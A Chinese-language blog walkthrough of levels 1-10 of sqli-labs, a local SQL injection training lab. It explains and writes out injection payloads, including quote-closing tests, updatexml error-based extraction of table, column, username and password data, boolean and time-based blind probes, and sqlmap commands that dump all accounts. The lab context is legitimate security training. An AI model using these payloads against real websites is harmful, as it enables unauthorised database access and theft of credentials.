sqli-labs通关指南(1-10)
2026/5/7 1:54:35 网站建设 项目流程

sqli-labs通关指南(1-10)

get提交:url类型 数据长度2k+35 优点速度非常快 缺点:不安全,明文传输

post提交:请求体传输 数据长度无限制 安全性高 速度比get慢,浏览器不缓存数据

less1

Please input the ID as parameter with numeric value->请输入ID作为登陆值

http://localhost/sqli-labs/Less-1/?id=1后面ID的值可以自定义,不同的id对应不同的用户。

这里我尝试使用http://localhost/sqli-labs/Less-1/?id=-1 or 1=1 #也可以成功。

但是查看源码(index.php)之后可以发现这一次的查询是字符型查询,区别就是:

http://localhost/sqli-labs/Less-1/?id=-1 and 1=2也是可以正确执行的

但是你或许会有疑问,就是当你进行替换的时候id='1 and 1=2’可以正常执行,但是执行id-0却不可以,产生这个疑问的原因就是:与操作有一个为假整体为假。

这里解释一下,是因为SQL不会对字符类型中的语句进行任何操作只是简单的替换,然后将字符型转换为数字型,取字符型中的第一个元素也就是1后面的就不要了。

less2 、3、4

同上,区别就是less2是数字型执行http://localhost/sqli-labs/Less-1/?id=-1 and 1=2就会报错。

但是一开始我们肯定不知道,所以都用数字型是最好的(个人认为)

less5

继续输入?id=1回显正常,执行?id=1 and 1=2发现页面也正常,那么这应该考虑引号闭合问题,

使用?id=1’ and 1=1 --+得知市单引号闭合,然后尝试盲注?id =1 order by 1~3 都可以正常访问修改id=-1 union select 1,2,3 并不会回显内容,所以尝试别的方法。

方法介绍:updatexml()更新xml文档的函数

语法:updatexml(目标xml内容,xml文档路径,更新的内容)

实际使用:updatexml( 随便写 , 要查的数据 , 随便写 )

concat() 联合函数,把内容拼接到一起

0x7e ~ 作用就是回显的时候库名会被~包裹起来,可以一眼看到信息

?id=1’ and updatexml(1,concat(0x7e,database(),0x7e),1) --+

通过添加不合法内容,故意让想要的信息,在报错中显示出来

接下来执行?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+

核心语句:select group_concat(table_name) from information_schema.tables where table_schema=database()

为什么使用group_concat因为如果不使用,页面内容就是超过一行,但是不显示内容,所以使用group_concat就会使得内容在一行显示。

通过该语句查询到表名:emails,referers,uagents,users

信息一般是在user中

依次执行一下命令

?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),0x7e),1) --+

?id=1’ and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e,(select password from users limit 0,1),0x7e),1) --+

也许你有疑问,我记不住啊,巧了,我也记不住,我也是网上搜的~哈哈哈

less6

同上,但单引号双引号即可!

自己多动手敲一敲,万一就记住了呢。

less7

新类型,经过尝试,可以知道该闭合方式应该是:1’)) --+

但是必须修改文件才能完成,这里我不想修改文件,毕竟真实场景怎么会去修改人家的源文件才能做,所以还是采用上面的方法

less8

这题用盲注解题,首先了解一下盲注使用的函数:

  • length() :返回字符串长度
  • substr() :截取字符串
  • ascii() :返回字符串的ASCII码值
  • sleep() : 将程序挂起一段时间
  • if(exp1,exp2,exp3) : 判断语句,如果第一个正确就执行第二个语句,如果错误就执行第三个语句,类似三目运算符

执行语句

  1. ?id=1’ and length(database())=8–+ 说明长度为8
  2. ?id=1’ and ascii(substr(database(),1,1))=115–+ 说明第一个字符是s
  3. 依次爆破。得到结果security
  4. ?id=1’ and exists(select * from information_schema.tables where table_name=‘users’ and table_schema=database())–+ 说明user表存在
  5. ?id=1’ and exists(select username from users)–+ 说明该字段存在
  6. 依次猜下去

当然是有脚本的,这一个一个猜太麻烦了。打开Kali自带sqlmap 执行命令:

sqlmap -u “http://你客户端的IP/sqli-labs/Less-8/?id=1” --technique B --batch --dump

这里解释一下参数:

  1. -u 指定靶场地址
  2. –technique B 指定类型,这里是布尔盲注
  3. –batch 自动确认所有选项,默认是Y
  4. –dump 直接导出所有账号密码

运行结束,往上翻翻会有所有的账户信息

less9

这里使用时间盲注,但是你会有疑问,为什么?怎么潘判断的?我也有这样的疑问,于是搜了一下,可以总结为以下情况:

  1. 显示报错信息的----可以报错注入
  2. 页面的显示要么正常要么不正常的,只有真假两种情况 —布尔盲注
  3. 页面无论你输入什么,对与不对都是一个样—时间盲注

再回来看,我尝试?id=-1’ and 1=2 --+也是可以正常显示

所以判断为时间盲注

时间盲注的解题方法:

跟布尔盲注一样,改一下参数sqlmap -u “http://客户端IP/sqli-labs/Less-2/?id=1” --technique T --batch --dump

慢!非常慢!

less10

同上

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询